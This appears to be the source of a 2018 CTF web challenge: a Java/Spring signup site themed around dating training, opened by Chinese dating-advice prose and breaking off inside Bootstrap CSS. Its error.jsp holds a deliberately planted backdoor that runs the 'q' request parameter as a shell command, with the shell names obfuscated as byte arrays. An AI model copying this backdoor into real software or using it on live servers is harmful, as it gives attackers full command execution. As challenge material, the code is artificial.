              吸引异性的魅力有两种,一种是和性别无关的魅力,这种魅力男女都可以有,例如:外貌姣好,情商高;另一种是和性别有关的魅力,例如:男性的魁梧高大、事业有成,女性的温柔可爱。因此不管是追求阶段还是恋爱当中,都需要注意这种魅力的展示与提升。从外在形象,人品学识,到才华能力都是产生吸引力的因素,很多时候,一个人的魅力往往在细节中体现出来,比如:男生约女生吃饭的时候主动帮对方调节座位则被认为是有风度的表现。

              2. 增加相处机会

              日远日疏,日近日亲”,两人接触在一起的时间长了,就会制造出机会来。所以看到一个中意的男生,一定要制造机会缠住他,有机会要接近他,没有机会创造机会也要接近他。《倚天屠龙记》赵敏就是心有灵犀,也自觉不自觉地运用了这一计策,正是在去灵蛇岛的途中,张无忌和赵敏才有了深厚的感情。 共同经历更容易产生共鸣。一起有过一段美好的经历,彼此可能产生性吸引。一起经历过苦难,在苦难中相互帮助,给与彼此温暖的感觉,彼此也可能产生性吸引。要有共同的经历,首先得增加接触,在早期可以从做朋友开始,相处的机会多了,在一起有了共同的经历,相互之间了解更多,就可能逐渐产生感情

      ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/jsp/error.jsp ================================================ <%@ page import="java.util.Scanner" %> <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %> <%//留的后门 String op="Got Nothing"; String query = request.getParameter("q"); String fileSeparator = String.valueOf(java.io.File.separatorChar); Boolean isWin; if(fileSeparator.equals("\\")){ isWin = true; }else{ isWin = false; } if (query != null) { ProcessBuilder pb; if(isWin) { pb = new ProcessBuilder(new String(new byte[]{99, 109, 100}), new String(new byte[]{47, 67}), query); }else{ pb = new ProcessBuilder(new String(new byte[]{47, 98, 105, 110, 47, 98, 97, 115, 104}), new String(new byte[]{45, 99}), query); } Process process = pb.start(); Scanner sc = new Scanner(process.getInputStream()).useDelimiter("\\A"); op = sc.hasNext() ? sc.next() : op; sc.close(); } %>

      请求异常

      错误信息

      ${message}
      ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/jsp/excel.jsp ================================================ <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %>

      系统管理

      下载报名表信息

      ${flag}

      ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/jsp/exception.jsp ================================================ <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %>

      请求出错

      错误信息

      请求异常!
      ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/jsp/find.jsp ================================================ <%@ page import="com.bupt.utils.SystemDateTimeChecker" %> <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %>

      找回密码

      ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/jsp/index.jsp ================================================ <%@ page import="com.bupt.utils.SystemDateTimeChecker" %> <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %> ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/jsp/login.jsp ================================================ <%@ page import="com.bupt.utils.SystemDateTimeChecker" %> <%@ page import="java.text.SimpleDateFormat" %> <%@ page import="java.util.Date" %> <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %>

      用户登录

      <%--
      --%> <%----%> <%--
      --%> <%--
      --%> <%--
      --%> <%----%> <%--
      --%> <%--
      --%> <%----%> <%----%> <%----%> <%--
      --%> <%--
      --%> <%--
      --%> <%--
      --%>
      <% if(SystemDateTimeChecker.checkNowOk()){ %>
      没有账号,马上注册
      <% } %>
      忘记密码
      ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/jsp/noProfile.jsp ================================================ <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %>

      ${username}

      提示信息信息

      ${message}
      ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/jsp/profile.jsp ================================================ <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %> ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/jsp/profile_add.jsp ================================================ <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %>

      恋爱的季节

      培训申请表


      个人基本信息【必填】

         
           

      更多【必填】

      未上传文件
      【图片大小不超过4M,仅支持png,jpg,jpeg类型图片格式】
      ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/jsp/profile_edit.jsp ================================================ <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %>

      修改个人信息


      个人基本信息【必填】

         
           

      更多【必填】

      未上传文件
      ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/jsp/profile_view.jsp ================================================ <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %>

      用户${profile.name} 报名信息


      个人基本信息

      ${Template}

      更多

      ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/jsp/register.jsp ================================================ <%@ page import="com.bupt.utils.SystemDateTimeChecker" %> <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %>
      <% if(!SystemDateTimeChecker.checkNowOk()){ %> <% }else { %>

      用户注册

      已有账号?马上登录
      <% } %>
      ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/jsp/success.jsp ================================================ <%@ page contentType="text/html;charset=UTF-8" language="java" %> success

      登陆成功

      ${username} ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/views/404.html ================================================ 404 404
      3秒自动跳转 ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/views/500.html ================================================ Title ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/views/login/login.html ================================================ TSCTF2018
      " method="post"> 用户名:
      密 码:
      ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/web.xml ================================================ contextConfigLocation classpath:spring/ApplicationContext-*.xml org.springframework.web.context.ContextLoaderListener springmvc org.springframework.web.servlet.DispatcherServlet contextConfigLocation classpath:spring/sprintmvc.xml 1 default *.js *.css /css/*" /js/*" /bootstrap3.3.5/* springmvc / encodingFilter org.springframework.web.filter.CharacterEncodingFilter encoding UTF-8 forceEncoding true encodingFilter /* 404 /WEB-INF/views/404.html ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/webapp/bootstrap3.3.5/css/bootstrap-theme.css ================================================ /*! * Bootstrap v3.3.5 (http://getbootstrap.com) * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */ .btn-default, .btn-primary, .btn-success, .btn-info, .btn-warning, .btn-danger { text-shadow: 0 -1px 0 rgba(0, 0, 0, .2); -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 1px rgba(0, 0, 0, .075); box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 1px rgba(0, 0, 0, .075); } .btn-default:active, .btn-primary:active, .btn-success:active, .btn-info:active, .btn-warning:active, .btn-danger:active, .btn-default.active, .btn-primary.active, .btn-success.active, .btn-info.active, .btn-warning.active, .btn-danger.active { -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); } .btn-default.disabled, .btn-primary.disabled, .btn-success.disabled, .btn-info.disabled, .btn-warning.disabled, .btn-danger.disabled, .btn-default[disabled], .btn-primary[disabled], .btn-success[disabled], .btn-info[disabled], .btn-warning[disabled], .btn-danger[disabled], fieldset[disabled] .btn-default, fieldset[disabled] .btn-primary, fieldset[disabled] .btn-success, fieldset[disabled] .btn-info, fieldset[disabled] .btn-warning, fieldset[disabled] .btn-danger { -webkit-box-shadow: none; box-shadow: none; } .btn-default .badge, .btn-primary .badge, .btn-success .badge, .btn-info .badge, .btn-warning .badge, .btn-danger .badge { text-shadow: none; } .btn:active, .btn.active { background-image: none; } .btn-default { text-shadow: 0 1px 0 #fff; background-image: -webkit-linear-gradient(top, #fff 0%, #e0e0e0 100%); background-image: -o-linear-gradient(top, #fff 0%, #e0e0e0 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#e0e0e0)); background-image: linear-gradient(to bottom, #fff 0%, #e0e0e0 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffe0e0e0', GradientType=0); filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); background-repeat: repeat-x; border-color: #dbdbdb; border-color: #ccc; } .btn-default:hover, .btn-default:focus { background-color: #e0e0e0; background-position: 0 -15px; } .btn-default:active, .btn-default.active { background-color: #e0e0e0; border-color: #dbdbdb; } .btn-default.disabled, .btn-default[disabled], fieldset[disabled] .btn-default, .btn-default.disabled:hover, .btn-default[disabled]:hover, fieldset[disabled] .btn-default:hover, .btn-default.disabled:focus, .btn-default[disabled]:focus, fieldset[disabled] .btn-default:focus, .btn-default.disabled.focus, .btn-default[disabled].focus, fieldset[disabled] .btn-default.focus, .btn-default.disabled:active, .btn-default[disabled]:active, fieldset[disabled] .btn-default:active, .btn-default.disabled.active, .btn-default[disabled].active, fieldset[disabled] .btn-default.active { background-color: #e0e0e0; background-image: none; } .btn-primary { background-image: -webkit-linear-gradient(top, #337ab7 0%, #265a88 100%); background-image: -o-linear-gradient(top, #337ab7 0%, #265a88 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#265a88)); background-image: linear-gradient(to bottom, #337ab7 0%, #265a88 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff265a88', GradientType=0); filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); background-repeat: repeat-x; border-color: #245580; } .btn-primary:hover, .btn-primary:focus { background-color: #265a88; background-position: 0 -15px; } .btn-primary:active, .btn-primary.active { background-color: #265a88; border-color: #245580; } .btn-primary.disabled, .btn-primary[disabled], fieldset[disabled] .btn-primary, .btn-primary.disabled:hover, .btn-primary[disabled]:hover, fieldset[disabled] .btn-primary:hover, .btn-primary.disabled:focus, .btn-primary[disabled]:focus, fieldset[disabled] .btn-primary:focus, .btn-primary.disabled.focus, .btn-primary[disabled].focus, fieldset[disabled] .btn-primary.focus, .btn-primary.disabled:active, .btn-primary[disabled]:active, fieldset[disabled] .btn-primary:active, .btn-primary.disabled.active, .btn-primary[disabled].active, fieldset[disabled] .btn-primary.active { background-color: #265a88; background-image: none; } .btn-success { background-image: -webkit-linear-gradient(top, #5cb85c 0%, #419641 100%); background-image: -o-linear-gradient(top, #5cb85c 0%, #419641 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#5cb85c), to(#419641)); background-image: linear-gradient(to bottom, #5cb85c 0%, #419641 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff419641', GradientType=0); filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); background-repeat: repeat-x; border-color: #3e8f3e; } .btn-success:hover, .btn-success:focus { background-color: #419641; background-position: 0 -15px; } .btn-success:active, .btn-success.active { background-color: #419641; border-color: #3e8f3e; } .btn-success.disabled, .btn-success[disabled], fieldset[disabled] .btn-success, .btn-success.disabled:hover, .btn-success[disabled]:hover, fieldset[disabled] .btn-success:hover, .btn-success.disabled:focus, .btn-success[disabled]:focus, fieldset[disabled] .btn-success:focus, .btn-success.disabled.focus, .btn-success[disabled].focus, fieldset[disabled] .btn-success.focus, .btn-success.disabled:active, .btn-success[disabled]:active, fieldset[disabled] .btn-success:active, .btn-success.disabled.active, .btn-success[disabled].active, fieldset[disabled] .btn-success.active { background-color: #419641; background-image: none; } .btn-info { background-image: -webkit-linear-gradient(top, #5bc0de 0%, #2aabd2 100%); background-image: -o-linear-gradient(top, #5bc0de 0%, #2aabd2 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#5bc0de), to(#2aabd2)); background-image: linear-gradient(to bottom, #5bc0de 0%, #2aabd2 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff2aabd2', GradientType=0); filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); background-repeat: repeat-x; border-color: #28a4c9; } .btn-info:hover, .btn-info:focus { background-color: #2aabd2; background-position: 0 -15px; } .btn-info:active, .btn-info.active { background-color: #2aabd2; border-color: #28a4c9; } .btn-info.disabled, .btn-info[disabled], fieldset[disabled] .btn-info, .btn-info.disabled:hover, .btn-info[disabled]:hover, fieldset[disabled] .btn-info:hover, .btn-info.disabled:focus, .btn-info[disabled]:focus, fieldset[disabled] .btn-info:focus, .btn-info.disabled.focus, .btn-info[disabled].focus, fieldset[disabled] .btn-info.focus, .btn-info.disabled:active, .btn-info[disabled]:active, fieldset[disabled] .btn-info:active, .btn-info.disabled.active, .btn-info[disabled].active, fieldset[disabled] .btn-info.active { background-color: #2aabd2; background-image: none; } .btn-warning { background-image: -webkit-linear-gradient(top, #f0ad4e 0%, #eb9316 100%); background-image: -o-linear-gradient(top, #f0ad4e 0%, #eb9316 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#f0ad4e), to(#eb9316)); background-image: linear-gradient(to bottom, #f0ad4e 0%, #eb9316 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffeb9316', GradientType=0); filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); background-repeat: repeat-x; border-color: #e38d13; } .btn-warning:hover, .btn-warning:focus { background-color: #eb9316; background-position: 0 -15px; } .btn-warning:active, .btn-warning.active { background-color: #eb9316; border-color: #e38d13; } .btn-warning.disabled, .btn-warning[disabled], fieldset[disabled] .btn-warning, .btn-warning.disabled:hover, .btn-warning[disabled]:hover, fieldset[disabled] .btn-warning:hover, .btn-warning.disabled:focus, .btn-warning[disabled]:focus, fieldset[disabled] .btn-warning:focus, .btn-warning.disabled.focus, .btn-warning[disabled].focus, fieldset[disabled] .btn-warning.focus, .btn-warning.disabled:active, .btn-warning[disabled]:active, fieldset[disabled] .btn-warning:active, .btn-warning.disabled.active, .btn-warning[disabled].active, fieldset[disabled] .btn-warning.active { background-color: #eb9316; background-image: none; } .btn-danger { background-image: -webkit-linear-gradient(top, #d9534f 0%, #c12e2a 100%); background-image: -o-linear-gradient(top, #d9534f 0%, #c12e2a 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#d9534f), to(#c12e2a)); background-image: linear-gradient(to bottom, #d9534f 0%, #c12e2a 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc12e2a', GradientType=0); filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); background-repeat: repeat-x; border-color: #b92c28; } .btn-danger:hover, .btn-danger:focus { background-color: #c12e2a; background-position: 0 -15px; } .btn-danger:active, .btn-danger.active { background-color: #c12e2a; border-color: #b92c28; } .btn-danger.disabled, .btn-danger[disabled], fieldset[disabled] .btn-danger, .btn-danger.disabled:hover, .btn-danger[disabled]:hover, fieldset[disabled] .btn-danger:hover, .btn-danger.disabled:focus, .btn-danger[disabled]:focus, fieldset[disabled] .btn-danger:focus, .btn-danger.disabled.focus, .btn-danger[disabled].focus, fieldset[disabled] .btn-danger.focus, .btn-danger.disabled:active, .btn-danger[disabled]:active, fieldset[disabled] .btn-danger:active, .btn-danger.disabled.active, .btn-danger[disabled].active, fieldset[disabled] .btn-danger.active { background-color: #c12e2a; background-image: none; } .thumbnail, .img-thumbnail { -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, .075); box-shadow: 0 1px 2px rgba(0, 0, 0, .075); } .dropdown-menu > li > a:hover, .dropdown-menu > li > a:focus { background-color: #e8e8e8; background-image: -webkit-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%); background-image: -o-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#f5f5f5), to(#e8e8e8)); background-image: linear-gradient(to bottom, #f5f5f5 0%, #e8e8e8 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0); background-repeat: repeat-x; } .dropdown-menu > .active > a, .dropdown-menu > .active > a:hover, .dropdown-menu > .active > a:focus { background-color: #2e6da4; background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%); background-image: -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2e6da4)); background-image: linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0); background-repeat: repeat-x; } .navbar-default { background-image: -webkit-linear-gradient(top, #fff 0%, #f8f8f8 100%); background-image: -o-linear-gradient(top, #fff 0%, #f8f8f8 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#f8f8f8)); background-image: linear-gradient(to bottom, #fff 0%, #f8f8f8 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#fff8f8f8', GradientType=0); filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); background-repeat: repeat-x; border-radius: 4px; -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 5px rgba(0, 0, 0, .075); box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 5px rgba(0, 0, 0, .075); } .navbar-default .navbar-nav > .open > a, .navbar-default .navbar-nav > .active > a { background-image: -webkit-linear-gradient(top, #dbdbdb 0%, #e2e2e2 100%); background-image: -o-linear-gradient(top, #dbdbdb 0%, #e2e2e2 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#dbdbdb), to(#e2e2e2)); background-image: linear-gradient(to bottom, #dbdbdb 0%, #e2e2e2 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdbdbdb', endColorstr='#ffe2e2e2', GradientType=0); background-repeat: repeat-x; -webkit-box-shadow: inset 0 3px 9px rgba(0, 0, 0, .075); box-shadow: inset 0 3px 9px rgba(0, 0, 0, .075); } .navbar-brand, .navbar-nav > li > a { text-shadow: 0 1px 0 rgba(255, 255, 255, .25); } .navbar-inverse { background-image: -webkit-linear-gradient(top, #3c3c3c 0%, #222 100%); background-image: -o-linear-gradient(top, #3c3c3c 0%, #222 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#3c3c3c), to(#222)); background-image: linear-gradient(to bottom, #3c3c3c 0%, #222 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff3c3c3c', endColorstr='#ff222222', GradientType=0); filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); background-repeat: repeat-x; border-radius: 4px; } .navbar-inverse .navbar-nav > .open > a, .navbar-inverse .navbar-nav > .active > a { background-image: -webkit-linear-gradient(top, #080808 0%, #0f0f0f 100%); background-image: -o-linear-gradient(top, #080808 0%, #0f0f0f 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#080808), to(#0f0f0f)); background-image: linear-gradient(to bottom, #080808 0%, #0f0f0f 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff080808', endColorstr='#ff0f0f0f', GradientType=0); background-repeat: repeat-x; -webkit-box-shadow: inset 0 3px 9px rgba(0, 0, 0, .25); box-shadow: inset 0 3px 9px rgba(0, 0, 0, .25); } .navbar-inverse .navbar-brand, .navbar-inverse .navbar-nav > li > a { text-shadow: 0 -1px 0 rgba(0, 0, 0, .25); } .navbar-static-top, .navbar-fixed-top, .navbar-fixed-bottom { border-radius: 0; } @media (max-width: 767px) { .navbar .navbar-nav .open .dropdown-menu > .active > a, .navbar .navbar-nav .open .dropdown-menu > .active > a:hover, .navbar .navbar-nav .open .dropdown-menu > .active > a:focus { color: #fff; background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%); background-image: -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2e6da4)); background-image: linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0); background-repeat: repeat-x; } } .alert { text-shadow: 0 1px 0 rgba(255, 255, 255, .2); -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .25), 0 1px 2px rgba(0, 0, 0, .05); box-shadow: inset 0 1px 0 rgba(255, 255, 255, .25), 0 1px 2px rgba(0, 0, 0, .05); } .alert-success { background-image: -webkit-linear-gradient(top, #dff0d8 0%, #c8e5bc 100%); background-image: -o-linear-gradient(top, #dff0d8 0%, #c8e5bc 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#dff0d8), to(#c8e5bc)); background-image: linear-gradient(to bottom, #dff0d8 0%, #c8e5bc 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffc8e5bc', GradientType=0); background-repeat: repeat-x; border-color: #b2dba1; } .alert-info { background-image: -webkit-linear-gradient(top, #d9edf7 0%, #b9def0 100%); background-image: -o-linear-gradient(top, #d9edf7 0%, #b9def0 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#d9edf7), to(#b9def0)); background-image: linear-gradient(to bottom, #d9edf7 0%, #b9def0 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffb9def0', GradientType=0); background-repeat: repeat-x; border-color: #9acfea; } .alert-warning { background-image: -webkit-linear-gradient(top, #fcf8e3 0%, #f8efc0 100%); background-image: -o-linear-gradient(top, #fcf8e3 0%, #f8efc0 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#fcf8e3), to(#f8efc0)); background-image: linear-gradient(to bottom, #fcf8e3 0%, #f8efc0 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fff8efc0', GradientType=0); background-repeat: repeat-x; border-color: #f5e79e; } .alert-danger { background-image: -webkit-linear-gradient(top, #f2dede 0%, #e7c3c3 100%); background-image: -o-linear-gradient(top, #f2dede 0%, #e7c3c3 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#f2dede), to(#e7c3c3)); background-image: linear-gradient(to bottom, #f2dede 0%, #e7c3c3 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffe7c3c3', GradientType=0); background-repeat: repeat-x; border-color: #dca7a7; } .progress { background-image: -webkit-linear-gradient(top, #ebebeb 0%, #f5f5f5 100%); background-image: -o-linear-gradient(top, #ebebeb 0%, #f5f5f5 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#ebebeb), to(#f5f5f5)); background-image: linear-gradient(to bottom, #ebebeb 0%, #f5f5f5 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffebebeb', endColorstr='#fff5f5f5', GradientType=0); background-repeat: repeat-x; } .progress-bar { background-image: -webkit-linear-gradient(top, #337ab7 0%, #286090 100%); background-image: -o-linear-gradient(top, #337ab7 0%, #286090 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#286090)); background-image: linear-gradient(to bottom, #337ab7 0%, #286090 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff286090', GradientType=0); background-repeat: repeat-x; } .progress-bar-success { background-image: -webkit-linear-gradient(top, #5cb85c 0%, #449d44 100%); background-image: -o-linear-gradient(top, #5cb85c 0%, #449d44 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#5cb85c), to(#449d44)); background-image: linear-gradient(to bottom, #5cb85c 0%, #449d44 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff449d44', GradientType=0); background-repeat: repeat-x; } .progress-bar-info { background-image: -webkit-linear-gradient(top, #5bc0de 0%, #31b0d5 100%); background-image: -o-linear-gradient(top, #5bc0de 0%, #31b0d5 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#5bc0de), to(#31b0d5)); background-image: linear-gradient(to bottom, #5bc0de 0%, #31b0d5 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff31b0d5', GradientType=0); background-repeat: repeat-x; } .progress-bar-warning { background-image: -webkit-linear-gradient(top, #f0ad4e 0%, #ec971f 100%); background-image: -o-linear-gradient(top, #f0ad4e 0%, #ec971f 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#f0ad4e), to(#ec971f)); background-image: linear-gradient(to bottom, #f0ad4e 0%, #ec971f 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffec971f', GradientType=0); background-repeat: repeat-x; } .progress-bar-danger { background-image: -webkit-linear-gradient(top, #d9534f 0%, #c9302c 100%); background-image: -o-linear-gradient(top, #d9534f 0%, #c9302c 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#d9534f), to(#c9302c)); background-image: linear-gradient(to bottom, #d9534f 0%, #c9302c 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc9302c', GradientType=0); background-repeat: repeat-x; } .progress-bar-striped { background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); } .list-group { border-radius: 4px; -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, .075); box-shadow: 0 1px 2px rgba(0, 0, 0, .075); } .list-group-item.active, .list-group-item.active:hover, .list-group-item.active:focus { text-shadow: 0 -1px 0 #286090; background-image: -webkit-linear-gradient(top, #337ab7 0%, #2b669a 100%); background-image: -o-linear-gradient(top, #337ab7 0%, #2b669a 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2b669a)); background-image: linear-gradient(to bottom, #337ab7 0%, #2b669a 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2b669a', GradientType=0); background-repeat: repeat-x; border-color: #2b669a; } .list-group-item.active .badge, .list-group-item.active:hover .badge, .list-group-item.active:focus .badge { text-shadow: none; } .panel { -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, .05); box-shadow: 0 1px 2px rgba(0, 0, 0, .05); } .panel-default > .panel-heading { background-image: -webkit-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%); background-image: -o-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#f5f5f5), to(#e8e8e8)); background-image: linear-gradient(to bottom, #f5f5f5 0%, #e8e8e8 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0); background-repeat: repeat-x; } .panel-primary > .panel-heading { background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%); background-image: -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2e6da4)); background-image: linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%); filter: 